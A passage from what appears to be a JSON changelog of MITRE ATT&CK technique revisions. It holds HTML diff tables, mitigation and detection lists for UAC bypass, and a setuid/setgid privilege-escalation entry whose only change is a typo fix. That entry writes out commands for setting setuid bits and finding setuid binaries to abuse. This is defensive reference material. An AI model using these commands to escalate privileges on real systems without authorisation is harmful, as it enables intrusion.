nowrap=\"nowrap\">ary&nbsp;or&nbsp;script.(Citation:&nbsp;enigma0x3&nbsp;Fileless&nbsp;UAC&nbsp;Bypass)(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">on:&nbsp;Fortinet&nbsp;Fareit)&nbsp;&nbsp;Another&nbsp;bypass&nbsp;is&nbsp;possible&nbsp;through&nbsp;som</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;Fortinet&nbsp;Fareit)&nbsp;&nbsp;Another&nbsp;bypass&nbsp;is&nbsp;possible&nbsp;through&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;lateral&nbsp;movement&nbsp;techniques&nbsp;if&nbsp;credentials&nbsp;for&nbsp;an&nbsp;account&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ome&nbsp;lateral&nbsp;movement&nbsp;techniques&nbsp;if&nbsp;credentials&nbsp;for&nbsp;an&nbsp;accoun</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">with&nbsp;administrator&nbsp;privileges&nbsp;are&nbsp;known,&nbsp;since&nbsp;UAC&nbsp;is&nbsp;a&nbsp;sing</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;with&nbsp;administrator&nbsp;privileges&nbsp;are&nbsp;known,&nbsp;since&nbsp;UAC&nbsp;is&nbsp;a&nbsp;si</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;system&nbsp;security&nbsp;mechanism,&nbsp;and&nbsp;the&nbsp;privilege&nbsp;or&nbsp;integrity</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ngle&nbsp;system&nbsp;security&nbsp;mechanism,&nbsp;and&nbsp;the&nbsp;privilege&nbsp;or&nbsp;integri</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;a&nbsp;process&nbsp;running&nbsp;on&nbsp;one&nbsp;system&nbsp;will&nbsp;be&nbsp;unknown&nbsp;on&nbsp;remot</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ty&nbsp;of&nbsp;a&nbsp;process&nbsp;running&nbsp;on&nbsp;one&nbsp;system&nbsp;will&nbsp;be&nbsp;unknown&nbsp;on&nbsp;rem</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;systems&nbsp;and&nbsp;default&nbsp;to&nbsp;high&nbsp;integrity.(Citation:&nbsp;SANS&nbsp;UAC&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ote&nbsp;systems&nbsp;and&nbsp;default&nbsp;to&nbsp;high&nbsp;integrity.(Citation:&nbsp;SANS&nbsp;UA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Bypass)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">C&nbsp;Bypass)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1047: Audit",
                            "M1051: Update Software",
                            "M1052: User Account Control"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0388: Detection Strategy for T1548.002 \u2013 Bypass User Account Control (UAC)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-30 14:11:41.212000+00:00",
                    "modified": "2026-11-03 21:37:41.691000+00:00",
                    "name": "Setuid and Setgid",
                    "description": "An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac Permissions](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \"shell escape\" or other actions to bypass an execution environment with restricted permissions.\n\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setgid bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1548/001",
                            "external_id": "T1548.001"
                        },
                        {
                            "source_name": "GTFOBins Suid",
                            "description": "Emilio Pinna, Andrea Cardaci. (n.d.). GTFOBins. Retrieved January 28, 2022.",
                            "url": "https://gtfobins.github.io/#+suid"
                        },
                        {
                            "source_name": "OSX Keydnap malware",
                            "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                            "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
                        },
                        {
                            "source_name": "setuid man page",
                            "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
                            "url": "http://man7.org/linux/man-pages/man2/setuid.2.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:37:41.691000+00:00\", \"old_value\": \"2026-05-12 15:12:00.639000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\\n\\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac Permissions](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\\n\\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \\\"shell escape\\\" or other actions to bypass an execution environment with restricted permissions.\\n\\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setgid bits are indicated with an \\\"s\\\" instead of an \\\"x\\\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\", \"old_value\": \"An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user\\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user\\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.\\n\\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac Permissions](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgid bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.\\n\\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \\\"shell escape\\\" or other actions to bypass an execution environment with restricted permissions.\\n\\nAlternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \\\"s\\\" instead of an \\\"x\\\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a \\\"shell escape\\\" or other actions to bypass an execution environment with restricted permissions.\\n \\n-Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an \\\"s\\\" instead of an \\\"x\\\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\\n+Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setgid bits are indicated with an \\\"s\\\" instead of an \\\"x\\\" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to143__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to143__0\"><a href=\"#difflib_chg_to143__top\">t</a></td><td class=\"diff_header\" id=\"from143_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;abuse&nbsp;configurations&nbsp;where&nbsp;an&nbsp;application&nbsp;h</td><td class=\"diff_next\"><a href=\"#difflib_chg_to143__top\">t</a></td><td class=\"diff_header\" id=\"to143_1\">1</td><td nowrap=\"nowrap\">An&nbsp;adversary&nbsp;may&nbsp;abuse&nbsp;configurations&nbsp;where&nbsp;an&nbsp;application&nbsp;h</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;the&nbsp;setuid&nbsp;or&nbsp;setgid&nbsp;bits&nbsp;set&nbsp;in&nbsp;order&nbsp;to&nbsp;get&nbsp;code&nbsp;runnin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;the&nbsp;setuid&nbsp;or&nbsp;setgid&nbsp;bits&nbsp;set&nbsp;in&nbsp;order&nbsp;to&nbsp;get&nbsp;code&nbsp;runnin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;in&nbsp;a&nbsp;different&nbsp;(and&nbsp;possibly&nbsp;more&nbsp;privileged)&nbsp;user\u2019s&nbsp;conte</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;in&nbsp;a&nbsp;different&nbsp;(and&nbsp;possibly&nbsp;more&nbsp;privileged)&nbsp;user\u2019s&nbsp;conte</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xt.&nbsp;On&nbsp;Linux&nbsp;or&nbsp;macOS,&nbsp;when&nbsp;the&nbsp;setuid&nbsp;or&nbsp;setgid&nbsp;bits&nbsp;are&nbsp;se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xt.&nbsp;On&nbsp;Linux&nbsp;or&nbsp;macOS,&nbsp;when&nbsp;the&nbsp;setuid&nbsp;or&nbsp;setgid&nbsp;bits&nbsp;are&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;for&nbsp;an&nbsp;application&nbsp;binary,&nbsp;the&nbsp;application&nbsp;will&nbsp;run&nbsp;with&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;for&nbsp;an&nbsp;application&nbsp;binary,&nbsp;the&nbsp;application&nbsp;will&nbsp;run&nbsp;with&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;privileges&nbsp;of&nbsp;the&nbsp;owning&nbsp;user&nbsp;or&nbsp;group&nbsp;respectively.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;privileges&nbsp;of&nbsp;the&nbsp;owning&nbsp;user&nbsp;or&nbsp;group&nbsp;respectively.(Cita</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;setuid&nbsp;man&nbsp;page)&nbsp;Normally&nbsp;an&nbsp;application&nbsp;is&nbsp;run&nbsp;in&nbsp;the</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;setuid&nbsp;man&nbsp;page)&nbsp;Normally&nbsp;an&nbsp;application&nbsp;is&nbsp;run&nbsp;in&nbsp;the</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;current&nbsp;user\u2019s&nbsp;context,&nbsp;regardless&nbsp;of&nbsp;which&nbsp;user&nbsp;or&nbsp;group&nbsp;o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;current&nbsp;user\u2019s&nbsp;context,&nbsp;regardless&nbsp;of&nbsp;which&nbsp;user&nbsp;or&nbsp;group&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wns&nbsp;the&nbsp;application.&nbsp;However,&nbsp;there&nbsp;are&nbsp;instances&nbsp;where&nbsp;prog</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">wns&nbsp;the&nbsp;application.&nbsp;However,&nbsp;there&nbsp;are&nbsp;instances&nbsp;where&nbsp;prog</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rams&nbsp;need&nbsp;to&nbsp;be&nbsp;executed&nbsp;in&nbsp;an&nbsp;elevated&nbsp;context&nbsp;to&nbsp;function&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rams&nbsp;need&nbsp;to&nbsp;be&nbsp;executed&nbsp;in&nbsp;an&nbsp;elevated&nbsp;context&nbsp;to&nbsp;function&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">properly,&nbsp;but&nbsp;the&nbsp;user&nbsp;running&nbsp;them&nbsp;may&nbsp;not&nbsp;have&nbsp;the&nbsp;specifi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">properly,&nbsp;but&nbsp;the&nbsp;user&nbsp;running&nbsp;them&nbsp;may&nbsp;not&nbsp;have&nbsp;the&nbsp;specifi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c&nbsp;required&nbsp;privileges.&nbsp;&nbsp;Instead&nbsp;of&nbsp;creating&nbsp;an&nbsp;entry&nbsp;in&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">c&nbsp;required&nbsp;privileges.&nbsp;&nbsp;Instead&nbsp;of&nbsp;creating&nbsp;an&nbsp;entry&nbsp;in&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sudoers&nbsp;file,&nbsp;which&nbsp;must&nbsp;be&nbsp;done&nbsp;by&nbsp;root,&nbsp;any&nbsp;user&nbsp;can&nbsp;speci</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sudoers&nbsp;file,&nbsp;which&nbsp;must&nbsp;be&nbsp;done&nbsp;by&nbsp;root,&nbsp;any&nbsp;user&nbsp;can&nbsp;speci</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fy&nbsp;the&nbsp;setuid&nbsp;or&nbsp;setgid&nbsp;flag&nbsp;to&nbsp;be&nbsp;set&nbsp;for&nbsp;their&nbsp;own&nbsp;applica</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">fy&nbsp;the&nbsp;setuid&nbsp;or&nbsp;setgid&nbsp;flag&nbsp;to&nbsp;be&nbsp;set&nbsp;for&nbsp;their&nbsp;own&nbsp;applica</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;(i.e.&nbsp;[Linux&nbsp;and&nbsp;Mac&nbsp;Permissions](https://attack.mitre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;(i.e.&nbsp;[Linux&nbsp;and&nbsp;Mac&nbsp;Permissions](https://attack.mitre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1222/002)).&nbsp;The&nbsp;&lt;code&gt;chmod&lt;/code&gt;&nbsp;command&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.org/techniques/T1222/002)).&nbsp;The&nbsp;&lt;code&gt;chmod&lt;/code&gt;&nbsp;command&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;set&nbsp;these&nbsp;bits&nbsp;with&nbsp;bitmasking,&nbsp;&lt;code&gt;chmod&nbsp;4777&nbsp;[file]&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">can&nbsp;set&nbsp;these&nbsp;bits&nbsp;with&nbsp;bitmasking,&nbsp;&lt;code&gt;chmod&nbsp;4777&nbsp;[file]&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;or&nbsp;via&nbsp;shorthand&nbsp;naming,&nbsp;&lt;code&gt;chmod&nbsp;u+s&nbsp;[file]&lt;/code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;or&nbsp;via&nbsp;shorthand&nbsp;naming,&nbsp;&lt;code&gt;chmod&nbsp;u+s&nbsp;[file]&lt;/code</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;.&nbsp;This&nbsp;will&nbsp;enable&nbsp;the&nbsp;setuid&nbsp;bit.&nbsp;To&nbsp;enable&nbsp;the&nbsp;setgid&nbsp;bit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;.&nbsp;This&nbsp;will&nbsp;enable&nbsp;the&nbsp;setuid&nbsp;bit.&nbsp;To&nbsp;enable&nbsp;the&nbsp;setgid&nbsp;bit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;&lt;code&gt;chmod&nbsp;2775&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;chmod&nbsp;g+s&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;&lt;code&gt;chmod&nbsp;2775&lt;/code&gt;&nbsp;and&nbsp;&lt;code&gt;chmod&nbsp;g+s&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;this&nbsp;mechanism&nbsp;on&nbsp;their&nbsp;own&nbsp;malwa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">used.&nbsp;&nbsp;Adversaries&nbsp;can&nbsp;use&nbsp;this&nbsp;mechanism&nbsp;on&nbsp;their&nbsp;own&nbsp;malwa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;to&nbsp;make&nbsp;sure&nbsp;they're&nbsp;able&nbsp;to&nbsp;execute&nbsp;in&nbsp;elevated&nbsp;contexts</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re&nbsp;to&nbsp;make&nbsp;sure&nbsp;they're&nbsp;able&nbsp;to&nbsp;execute&nbsp;in&nbsp;elevated&nbsp;contexts</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;the&nbsp;future.(Citation:&nbsp;OSX&nbsp;Keydnap&nbsp;malware)&nbsp;This&nbsp;abuse&nbsp;is</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;in&nbsp;the&nbsp;future.(Citation:&nbsp;OSX&nbsp;Keydnap&nbsp;malware)&nbsp;This&nbsp;abuse&nbsp;is</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;often&nbsp;part&nbsp;of&nbsp;a&nbsp;\"shell&nbsp;escape\"&nbsp;or&nbsp;other&nbsp;actions&nbsp;to&nbsp;bypass&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;often&nbsp;part&nbsp;of&nbsp;a&nbsp;\"shell&nbsp;escape\"&nbsp;or&nbsp;other&nbsp;actions&nbsp;to&nbsp;bypass&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;execution&nbsp;environment&nbsp;with&nbsp;restricted&nbsp;permissions.&nbsp;&nbsp;Altern</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;execution&nbsp;environment&nbsp;with&nbsp;restricted&nbsp;permissions.&nbsp;&nbsp;Altern</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">atively,&nbsp;adversaries&nbsp;may&nbsp;choose&nbsp;to&nbsp;find&nbsp;and&nbsp;target&nbsp;vulnerabl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">atively,&nbsp;adversaries&nbsp;may&nbsp;choose&nbsp;to&nbsp;find&nbsp;and&nbsp;target&nbsp;vulnerabl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;binaries&nbsp;with&nbsp;the&nbsp;setuid&nbsp;or&nbsp;setgid&nbsp;bits&nbsp;already&nbsp;enabled&nbsp;(i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;binaries&nbsp;with&nbsp;the&nbsp;setuid&nbsp;or&nbsp;setgid&nbsp;bits&nbsp;already&nbsp;enabled&nbsp;(i</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.e.&nbsp;[File&nbsp;and&nbsp;Directory&nbsp;Discovery](https://attack.mitre.org/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.e.&nbsp;[File&nbsp;and&nbsp;Directory&nbsp;Discovery](https://attack.mitre.org/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">techniques/T1083)).&nbsp;The&nbsp;setuid&nbsp;and&nbsp;setg<span class=\"diff_chg\">uid&nbsp;bits&nbsp;are&nbsp;indicate</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">techniques/T1083)).&nbsp;The&nbsp;setuid&nbsp;and&nbsp;setg<span class=\"diff_chg\">id&nbsp;bits&nbsp;are&nbsp;indicated</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">d</span>&nbsp;with&nbsp;an&nbsp;\"s\"&nbsp;instead&nbsp;of&nbsp;an&nbsp;\"x\"&nbsp;when&nbsp;viewing&nbsp;a&nbsp;file's&nbsp;attrib</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\"></span>&nbsp;with&nbsp;an&nbsp;\"s\"&nbsp;instead&nbsp;of&nbsp;an&nbsp;\"x\"&nbsp;when&nbsp;viewing&nbsp;a&nbsp;file's&nbsp;attribu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">utes&nbsp;via&nbsp;&lt;code&gt;ls&nbsp;-l&lt;/code&gt;.&nbsp;The&nbsp;&lt;code&gt;find&lt;/code&gt;&nbsp;command&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tes&nbsp;via&nbsp;&lt;code&gt;ls&nbsp;-l&lt;/code&gt;.&nbsp;The&nbsp;&lt;code&gt;find&lt;/code&gt;&nbsp;command&nbsp;ca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;search&nbsp;for&nbsp;such&nbsp;files.&nbsp;For&nbsp;example,&nbsp;&lt;code</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;search&nbsp;for&nbsp;such&nbsp;files.&nbsp;For&nbsp;example,&nbsp;&lt;code&gt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&gt;find&nbsp;/&nbsp;-perm&nbsp;+4000&nbsp;2&gt;/dev/null&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;find&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">find&nbsp;/&nbsp;-perm&nbsp;+4000&nbsp;2&gt;/dev/null&lt;/code&gt;&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;find&nbsp;fi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 